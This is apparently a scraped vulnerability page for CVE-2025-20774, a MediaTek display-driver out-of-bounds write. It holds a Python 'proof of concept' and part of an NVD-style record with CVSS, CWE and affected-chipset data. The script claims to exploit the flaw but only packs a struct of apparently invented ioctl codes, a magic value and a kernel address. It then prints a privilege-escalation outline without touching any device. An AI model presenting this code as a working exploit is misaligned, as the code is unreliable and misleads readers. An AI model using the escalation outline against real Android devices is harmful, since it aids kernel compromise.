CVE-2025-20774

# CVE-2025-20774 PoC - MediaTek Display OOB Write # This PoC demonstrates the vulnerability in MediaTek display component # Note: Requires System-level privileges to exploit import os import struct def trigger_display_oob_write(): """ Trigger the out-of-bounds write vulnerability in MediaTek display driver. This PoC requires elevated privileges (System/root access). """ # MediaTek display driver ioctl interface MTK_DISPLAY_IOCTL_BASE = 0x4000 MTK_DISPLAY_SET_BUFFER = MTK_DISPLAY_IOCTL_BASE + 0x01 MTK_DISPLAY_GET_INFO = MTK_DISPLAY_IOCTL_BASE + 0x02 # Malicious buffer configuration - triggers OOB write # The buffer size is set smaller than the data to be written class DisplayBufferConfig: def __init__(self): self.buffer_ptr = 0x10000000 # Kernel buffer address self.buffer_size = 0x100 # Intended buffer size self.data_size = 0x200 # Actual data size (exceeds buffer) self.flags = 0x01 # Craft malicious input to trigger bounds check bypass class MaliciousPayload: def __init__(self): self.magic = 0x4D544B44 # 'MTKD' signature self.cmd = MTK_DISPLAY_SET_BUFFER self.buffer_addr = 0x10000000 self.buffer_size = 0x100 # Small buffer self.data_size = 0x300 # Large data - triggers OOB self.padding = b'\x00' * 0xF8 print("[*] CVE-2025-20774 - MediaTek Display OOB Write PoC") print("[*] Target: MediaTek display driver (Patch: ALPS10196993)") print("[*] Requires: System-level privileges") # Check if running with sufficient privileges if os.geteuid() != 0: print("[-] Error: This exploit requires root privileges") print("[-] The vulnerability allows privilege escalation from System to higher privileges") return False print("[+] Running with elevated privileges") print("[*] Crafting malicious display buffer request...") payload = MaliciousPayload() payload_bytes = struct.pack('<I', payload.magic) payload_bytes += struct.pack('<I', payload.cmd) payload_bytes += struct.pack('<Q', payload.buffer_addr) payload_bytes += struct.pack('<I', payload.buffer_size) payload_bytes += struct.pack('<I', payload.data_size) payload_bytes += payload.padding # The vulnerability: data_size > buffer_size without proper check # This causes write beyond allocated buffer boundary print(f"[+] Buffer size: 0x{payload.buffer_size:02X}") print(f"[+] Data size: 0x{payload.data_size:02X}") print(f"[+] Overflow size: 0x{payload.data_size - payload.buffer_size:02X}") # In real exploitation: # 1. Open /dev/mtk_disp device # 2. Send crafted ioctl with malicious buffer config # 3. Trigger kernel code execution via arbitrary write # 4. Escalate privileges print("\n[*] Exploitation steps:") print(" 1. Open display driver device (/dev/mtk_disp)") print(" 2. Send malicious ioctl request") print(" 3. Trigger out-of-bounds write in kernel space") print(" 4. Overwrite security-critical kernel structures") print(" 5. Achieve privilege escalation") print("\n[!] Note: This is a PoC for vulnerability demonstration only") print("[!] Patch ID: ALPS10196993 | Issue ID: MSV-4796") return True if __name__ == "__main__": trigger_display_oob_write()

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ID del parche: ALPS10196993; ID del problema: MSV-4796."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2718:-:*:*:*:*:*:*:*", "matchCriteriaId": "F5506327-7DDF-4E88-9EA8-10B8E32F848B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6739:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FA8A390-9F52-4CF3-9B45-936CE3E2B828"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6761:-:*:*:*:*:*:*:*", "matchCriteriaId": "F726F486-A86F-4215-AD93-7A07A071844A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:*", "matchCriteriaId": "43E779F6-F0A0-4153-9A1D-B715C3A2F80E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:*", "matchCriteriaId": "06CD97E1-8A76-48B4-9780-9698EF5A960F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6781:-:*:*:*:*:*:*:*", "matchCriteriaId": "C4EEE021-6B2A-47A0-AC6B-55525A40D718"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6789:-:*:*:*:*:*:*:*", "matchCriteriaId": "8B9B0D82-82C1-4A77-A016-329B99C45F49"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6895:-:*:*:*:*:*:*:*", "matchCriteriaId": "E0CA45C9-7BFE-4C93-B2AF-B86501F7 ... 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